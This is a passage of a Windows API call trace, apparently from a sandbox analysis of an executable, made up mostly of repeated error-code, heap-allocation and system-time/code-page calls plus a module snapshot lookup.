[0056.773] SetLastError (dwErrCode=0x0) [0056.773] GetLastError () returned 0x0 [0056.773] SetLastError (dwErrCode=0x0) [0056.773] GetLastError () returned 0x0 [0056.773] SetLastError (dwErrCode=0x0) [0056.773] GetLastError () returned 0x0 [0056.773] SetLastError (dwErrCode=0x0) [0056.773] GetLastError () returned 0x0 [0056.773] SetLastError (dwErrCode=0x0) [0056.773] GetLastError () returned 0x0 [0056.774] SetLastError (dwErrCode=0x0) [0056.774] GetLastError () returned 0x0 [0056.774] SetLastError (dwErrCode=0x0) [0056.774] GetLastError () returned 0x0 [0056.774] SetLastError (dwErrCode=0x0) [0056.774] GetLastError () returned 0x0 [0056.774] SetLastError (dwErrCode=0x0) [0056.774] GetLastError () returned 0x0 [0056.774] SetLastError (dwErrCode=0x0) [0056.774] GetLastError () returned 0x0 [0056.774] SetLastError (dwErrCode=0x0) [0056.774] GetLastError () returned 0x0 [0056.774] SetLastError (dwErrCode=0x0) [0056.774] GetLastError () returned 0x0 [0056.774] SetLastError (dwErrCode=0x0) [0056.774] GetLastError () returned 0x0 [0056.774] SetLastError (dwErrCode=0x0) [0056.774] GetLastError () returned 0x0 [0056.774] SetLastError (dwErrCode=0x0) [0056.774] GetLastError () returned 0x0 [0056.774] SetLastError (dwErrCode=0x0) [0056.774] GetLastError () returned 0x0 [0056.777] SetLastError (dwErrCode=0x0) [0056.777] GetLastError () returned 0x0 [0056.777] SetLastError (dwErrCode=0x0) [0056.777] GetLastError () returned 0x0 [0056.777] SetLastError (dwErrCode=0x0) [0056.777] GetLastError () returned 0x0 [0056.777] SetLastError (dwErrCode=0x0) [0056.777] GetLastError () returned 0x0 [0056.777] SetLastError (dwErrCode=0x0) [0056.777] GetLastError () returned 0x0 [0056.777] SetLastError (dwErrCode=0x0) [0056.777] GetLastError () returned 0x0 [0056.777] SetLastError (dwErrCode=0x0) [0056.777] GetLastError () returned 0x0 [0056.777] SetLastError (dwErrCode=0x0) [0056.777] GetLastError () returned 0x0 [0056.777] SetLastError (dwErrCode=0x0) [0056.777] GetLastError () returned 0x0 [0056.777] SetLastError (dwErrCode=0x0) [0056.777] GetLastError () returned 0x0 [0056.777] SetLastError (dwErrCode=0x0) [0056.778] GetLastError () returned 0x0 [0056.778] SetLastError (dwErrCode=0x0) [0056.778] GetLastError () returned 0x0 [0056.778] SetLastError (dwErrCode=0x0) [0056.778] GetLastError () returned 0x0 [0056.778] SetLastError (dwErrCode=0x0) [0056.778] GetLastError () returned 0x0 [0056.778] SetLastError (dwErrCode=0x0) [0056.778] GetLastError () returned 0x0 [0056.778] SetLastError (dwErrCode=0x0) [0056.778] GetLastError () returned 0x0 [0056.778] SetLastError (dwErrCode=0x0) [0056.778] GetLastError () returned 0x0 [0056.778] SetLastError (dwErrCode=0x0) [0056.778] GetLastError () returned 0x0 [0056.778] SetLastError (dwErrCode=0x0) [0056.778] GetLastError () returned 0x0 [0056.778] SetLastError (dwErrCode=0x0) [0056.778] GetLastError () returned 0x0 [0056.778] SetLastError (dwErrCode=0x0) [0056.778] GetLastError () returned 0x0 [0056.778] SetLastError (dwErrCode=0x0) [0056.778] GetLastError () returned 0x0 [0056.778] SetLastError (dwErrCode=0x0) [0056.778] GetLastError () returned 0x0 [0056.779] SetLastError (dwErrCode=0x0) [0056.779] GetLastError () returned 0x0 [0056.779] SetLastError (dwErrCode=0x0) [0056.779] GetLastError () returned 0x0 [0056.779] SetLastError (dwErrCode=0x0) [0056.779] GetLastError () returned 0x0 [0056.779] SetLastError (dwErrCode=0x0) [0056.779] GetLastError () returned 0x0 [0056.779] SetLastError (dwErrCode=0x0) [0056.779] GetLastError () returned 0x0 [0056.779] SetLastError (dwErrCode=0x0) [0056.779] GetLastError () returned 0x0 [0056.779] SetLastError (dwErrCode=0x0) [0056.779] GetLastError () returned 0x0 [0056.779] SetLastError (dwErrCode=0x0) [0056.779] GetLastError () returned 0x0 [0056.779] SetLastError (dwErrCode=0x0) [0056.779] GetLastError () returned 0x0 [0056.779] SetLastError (dwErrCode=0x0) [0056.779] GetLastError () returned 0x0 [0056.779] SetLastError (dwErrCode=0x0) [0056.779] GetLastError () returned 0x0 [0056.779] SetLastError (dwErrCode=0x0) [0056.779] GetLastError () returned 0x0 [0056.780] SetLastError (dwErrCode=0x0) [0056.780] GetLastError () returned 0x0 [0056.780] SetLastError (dwErrCode=0x0) [0056.780] GetLastError () returned 0x0 [0056.780] SetLastError (dwErrCode=0x0) [0056.780] GetLastError () returned 0x0 [0056.780] SetLastError (dwErrCode=0x0) [0056.780] GetLastError () returned 0x0 [0056.780] SetLastError (dwErrCode=0x0) [0056.780] GetLastError () returned 0x0 [0056.780] SetLastError (dwErrCode=0x0) [0056.780] GetLastError () returned 0x0 [0056.780] SetLastError (dwErrCode=0x0) [0056.780] GetLastError () returned 0x0 [0056.780] SetLastError (dwErrCode=0x0) [0056.780] GetLastError () returned 0x0 [0056.780] SetLastError (dwErrCode=0x0) [0056.780] RtlAllocateHeap (HeapHandle=0x1fc0000, Flags=0x8, Size=0x98) returned 0x1fc1a00 [0056.780] RtlAllocateHeap (HeapHandle=0x1fc0000, Flags=0x8, Size=0x1f) returned 0x1fc1aa0 [0056.780] RtlAllocateHeap (HeapHandle=0x1fc0000, Flags=0x8, Size=0x36) returned 0x1fc1ac8 [0056.780] RtlAllocateHeap (HeapHandle=0x1fc0000, Flags=0x8, Size=0x37) returned 0x1fc1b08 [0056.780] RtlAllocateHeap (HeapHandle=0x1fc0000, Flags=0x8, Size=0x3c) returned 0x1fc1b48 [0056.780] RtlAllocateHeap (HeapHandle=0x1fc0000, Flags=0x8, Size=0x31) returned 0x1fc1b90 [0056.780] RtlAllocateHeap (HeapHandle=0x1fc0000, Flags=0x8, Size=0x17) returned 0x1fc1bd0 [0056.780] RtlAllocateHeap (HeapHandle=0x1fc0000, Flags=0x8, Size=0x24) returned 0x1fc1bf0 [0056.780] RtlAllocateHeap (HeapHandle=0x1fc0000, Flags=0x8, Size=0x14) returned 0x1fc1c20 [0056.780] RtlAllocateHeap (HeapHandle=0x1fc0000, Flags=0x8, Size=0xd) returned 0x1fc1c40 [0056.781] RtlAllocateHeap (HeapHandle=0x1fc0000, Flags=0x8, Size=0x25) returned 0x1fc1c58 [0056.781] RtlAllocateHeap (HeapHandle=0x1fc0000, Flags=0x8, Size=0x39) returned 0x1fc1c88 [0056.781] RtlAllocateHeap (HeapHandle=0x1fc0000, Flags=0x8, Size=0x18) returned 0x1fc1cd0 [0056.781] RtlAllocateHeap (HeapHandle=0x1fc0000, Flags=0x8, Size=0x17) returned 0x1fc1cf0 [0056.781] RtlAllocateHeap (HeapHandle=0x1fc0000, Flags=0x8, Size=0xe) returned 0x1fc1d10 [0056.781] RtlAllocateHeap (HeapHandle=0x1fc0000, Flags=0x8, Size=0x69) returned 0x1fc1d28 [0056.781] RtlAllocateHeap (HeapHandle=0x1fc0000, Flags=0x8, Size=0x3e) returned 0x1fc1da0 [0056.781] RtlAllocateHeap (HeapHandle=0x1fc0000, Flags=0x8, Size=0x1b) returned 0x1fc1de8 [0056.781] RtlAllocateHeap (HeapHandle=0x1fc0000, Flags=0x8, Size=0x1d) returned 0x1fc1e10 [0056.781] RtlAllocateHeap (HeapHandle=0x1fc0000, Flags=0x8, Size=0x48) returned 0x1fc1e38 [0056.781] RtlAllocateHeap (HeapHandle=0x1fc0000, Flags=0x8, Size=0x12) returned 0x1fc1e88 [0056.781] RtlAllocateHeap (HeapHandle=0x1fc0000, Flags=0x8, Size=0x18) returned 0x1fc1ea8 [0056.781] RtlAllocateHeap (HeapHandle=0x1fc0000, Flags=0x8, Size=0x1b) returned 0x1fc1ec8 [0056.781] RtlAllocateHeap (HeapHandle=0x1fc0000, Flags=0x8, Size=0x24) returned 0x1fc1ef0 [0056.781] RtlAllocateHeap (HeapHandle=0x1fc0000, Flags=0x8, Size=0x29) returned 0x1fc1f20 [0056.781] RtlAllocateHeap (HeapHandle=0x1fc0000, Flags=0x8, Size=0x1e) returned 0x1fc1f58 [0056.781] RtlAllocateHeap (HeapHandle=0x1fc0000, Flags=0x8, Size=0x41) returned 0x1fc1f80 [0056.781] RtlAllocateHeap (HeapHandle=0x1fc0000, Flags=0x8, Size=0x17) returned 0x1fc1fd0 [0056.781] RtlAllocateHeap (HeapHandle=0x1fc0000, Flags=0x8, Size=0xf) returned 0x1fc1ff0 [0056.781] RtlAllocateHeap (HeapHandle=0x1fc0000, Flags=0x8, Size=0x16) returned 0x1fc2008 [0056.781] RtlAllocateHeap (HeapHandle=0x1fc0000, Flags=0x8, Size=0x2a) returned 0x1fc2028 [0056.781] RtlAllocateHeap (HeapHandle=0x1fc0000, Flags=0x8, Size=0x29) returned 0x1fc2060 [0056.781] RtlAllocateHeap (HeapHandle=0x1fc0000, Flags=0x8, Size=0x15) returned 0x1fc2098 [0056.781] RtlAllocateHeap (HeapHandle=0x1fc0000, Flags=0x8, Size=0x1e) returned 0x1fc20b8 [0056.781] RtlAllocateHeap (HeapHandle=0x1fc0000, Flags=0x8, Size=0x2a) returned 0x1fc20e0 [0056.781] RtlAllocateHeap (HeapHandle=0x1fc0000, Flags=0x8, Size=0x12) returned 0x1fc2118 [0056.781] RtlAllocateHeap (HeapHandle=0x1fc0000, Flags=0x8, Size=0x18) returned 0x1fc2138 [0056.781] RtlAllocateHeap (HeapHandle=0x1fc0000, Flags=0x8, Size=0x46) returned 0x1fc2158 [0056.781] HeapFree (in: hHeap=0x1fc0000, dwFlags=0x0, lpMem=0x1fc11f8 | out: hHeap=0x1fc0000) returned 1 [0056.782] RtlAllocateHeap (HeapHandle=0x1fc0000, Flags=0x8, Size=0x800) returned 0x1fc21a8 [0056.782] RtlAllocateHeap (HeapHandle=0x1fc0000, Flags=0x8, Size=0x80) returned 0x1fc11f8 [0056.783] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x404e49) returned 0x0 [0056.783] RtlSizeHeap (HeapHandle=0x1fc0000, Flags=0x0, MemoryPointer=0x1fc11f8) returned 0x80 [0056.783] GetLastError () returned 0x0 [0056.783] SetLastError (dwErrCode=0x0) [0056.783] GetLastError () returned 0x0 [0056.783] SetLastError (dwErrCode=0x0) [0056.783] GetLastError () returned 0x0 [0056.783] SetLastError (dwErrCode=0x0) [0056.783] GetLastError () returned 0x0 [0056.783] SetLastError (dwErrCode=0x0) [0056.783] GetLastError () returned 0x0 [0056.783] SetLastError (dwErrCode=0x0) [0056.783] GetLastError () returned 0x0 [0056.784] SetLastError (dwErrCode=0x0) [0056.784] GetLastError () returned 0x0 [0056.784] SetLastError (dwErrCode=0x0) [0056.784] GetLastError () returned 0x0 [0056.784] SetLastError (dwErrCode=0x0) [0056.784] GetLastError () returned 0x0 [0056.784] SetLastError (dwErrCode=0x0) [0056.784] GetLastError () returned 0x0 [0056.784] SetLastError (dwErrCode=0x0) [0056.784] GetLastError () returned 0x0 [0056.784] SetLastError (dwErrCode=0x0) [0056.784] GetLastError () returned 0x0 [0056.784] SetLastError (dwErrCode=0x0) [0056.784] GetLastError () returned 0x0 [0056.784] SetLastError (dwErrCode=0x0) [0056.784] GetLastError () returned 0x0 [0056.784] SetLastError (dwErrCode=0x0) [0056.784] GetLastError () returned 0x0 [0056.784] SetLastError (dwErrCode=0x0) [0056.784] GetLastError () returned 0x0 [0056.784] SetLastError (dwErrCode=0x0) [0056.784] GetLastError () returned 0x0 [0056.784] SetLastError (dwErrCode=0x0) [0056.785] GetLastError () returned 0x0 [0056.785] SetLastError (dwErrCode=0x0) [0056.785] GetLastError () returned 0x0 [0056.785] SetLastError (dwErrCode=0x0) [0056.785] GetLastError () returned 0x0 [0056.785] SetLastError (dwErrCode=0x0) [0056.785] GetLastError () returned 0x0 [0056.785] SetLastError (dwErrCode=0x0) [0056.785] GetLastError () returned 0x0 [0056.785] SetLastError (dwErrCode=0x0) [0056.785] GetLastError () returned 0x0 [0056.785] SetLastError (dwErrCode=0x0) [0056.785] GetLastError () returned 0x0 [0056.785] SetLastError (dwErrCode=0x0) [0056.785] GetLastError () returned 0x0 [0056.785] SetLastError (dwErrCode=0x0) [0056.785] GetLastError () returned 0x0 [0056.785] SetLastError (dwErrCode=0x0) [0056.785] GetLastError () returned 0x0 [0056.785] SetLastError (dwErrCode=0x0) [0056.785] GetLastError () returned 0x0 [0056.785] SetLastError (dwErrCode=0x0) [0056.785] GetLastError () returned 0x0 [0056.785] SetLastError (dwErrCode=0x0) [0056.786] GetLastError () returned 0x0 [0056.786] SetLastError (dwErrCode=0x0) [0056.786] GetLastError () returned 0x0 [0056.786] SetLastError (dwErrCode=0x0) [0056.786] GetLastError () returned 0x0 [0056.786] SetLastError (dwErrCode=0x0) [0056.786] GetLastError () returned 0x0 [0056.786] SetLastError (dwErrCode=0x0) [0056.786] GetLastError () returned 0x0 [0056.786] SetLastError (dwErrCode=0x0) [0056.786] GetLastError () returned 0x0 [0056.786] SetLastError (dwErrCode=0x0) [0056.786] GetLastError () returned 0x0 [0056.786] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0056.786] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0056.786] GetProcAddress (hModule=0x76c20000, lpProcName="Module32FirstW") returned 0x76c579f9 [0056.787] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0x78 [0056.788] Module32FirstW (hSnapshot=0x78, lpme=0x18fac8) returned 0 [0056.788] PeekMessageA (in: lpMsg=0x18fa44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x18fa44) returned 0 [0056.789] GetTickCount () returned 0x11479d2 [0056.789] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.789] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.789] GetACP () returned 0x4e4 [0056.789] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.789] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.789] GetACP () returned 0x4e4 [0056.789] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.789] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.789] GetACP () returned 0x4e4 [0056.789] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.789] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.789] GetACP () returned 0x4e4 [0056.789] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.789] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.789] GetACP () returned 0x4e4 [0056.789] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.789] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.789] GetACP () returned 0x4e4 [0056.789] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.789] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.789] GetACP () returned 0x4e4 [0056.789] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.790] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.790] GetACP () returned 0x4e4 [0056.790] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.790] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.790] GetACP () returned 0x4e4 [0056.790] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.790] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.790] GetACP () returned 0x4e4 [0056.790] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.790] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.790] GetACP () returned 0x4e4 [0056.790] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.791] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.791] GetACP () returned 0x4e4 [0056.791] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.791] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.791] GetACP () returned 0x4e4 [0056.791] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.791] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.791] GetACP () returned 0x4e4 [0056.791] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.791] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.791] GetACP () returned 0x4e4 [0056.791] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.791] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.791] GetACP () returned 0x4e4 [0056.791] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.791] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.791] GetACP () returned 0x4e4 [0056.791] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.791] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.791] GetACP () returned 0x4e4 [0056.791] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.791] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.791] GetACP () returned 0x4e4 [0056.791] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.791] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.791] GetACP () returned 0x4e4 [0056.791] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.792] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.792] GetACP () returned 0x4e4 [0056.792] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.792] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.792] GetACP () returned 0x4e4 [0056.792] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.792] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.792] GetACP () returned 0x4e4 [0056.792] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.792] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.792] GetACP () returned 0x4e4 [0056.792] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.792] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.792] GetACP () returned 0x4e4 [0056.792] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.792] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.792] GetACP () returned 0x4e4 [0056.792] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.792] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.792] GetACP () returned 0x4e4 [0056.792] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.792] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.792] GetACP () returned 0x4e4 [0056.792] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.792] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.792] GetACP () returned 0x4e4 [0056.793] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.793] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.793] GetACP () returned 0x4e4 [0056.793] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.793] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.793] GetACP () returned 0x4e4 [0056.793] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.793] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.793] GetACP () returned 0x4e4 [0056.793] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.793] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.793] GetACP () returned 0x4e4 [0056.793] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.793] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.793] GetACP () returned 0x4e4 [0056.793] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.793] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.793] GetACP () returned 0x4e4 [0056.793] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.793] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.793] GetACP () returned 0x4e4 [0056.793] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.793] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.793] GetACP () returned 0x4e4 [0056.793] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.793] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.794] GetACP () returned 0x4e4 [0056.794] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.794] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.794] GetACP () returned 0x4e4 [0056.794] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.794] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.794] GetACP () returned 0x4e4 [0056.794] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.794] GetCPInfo 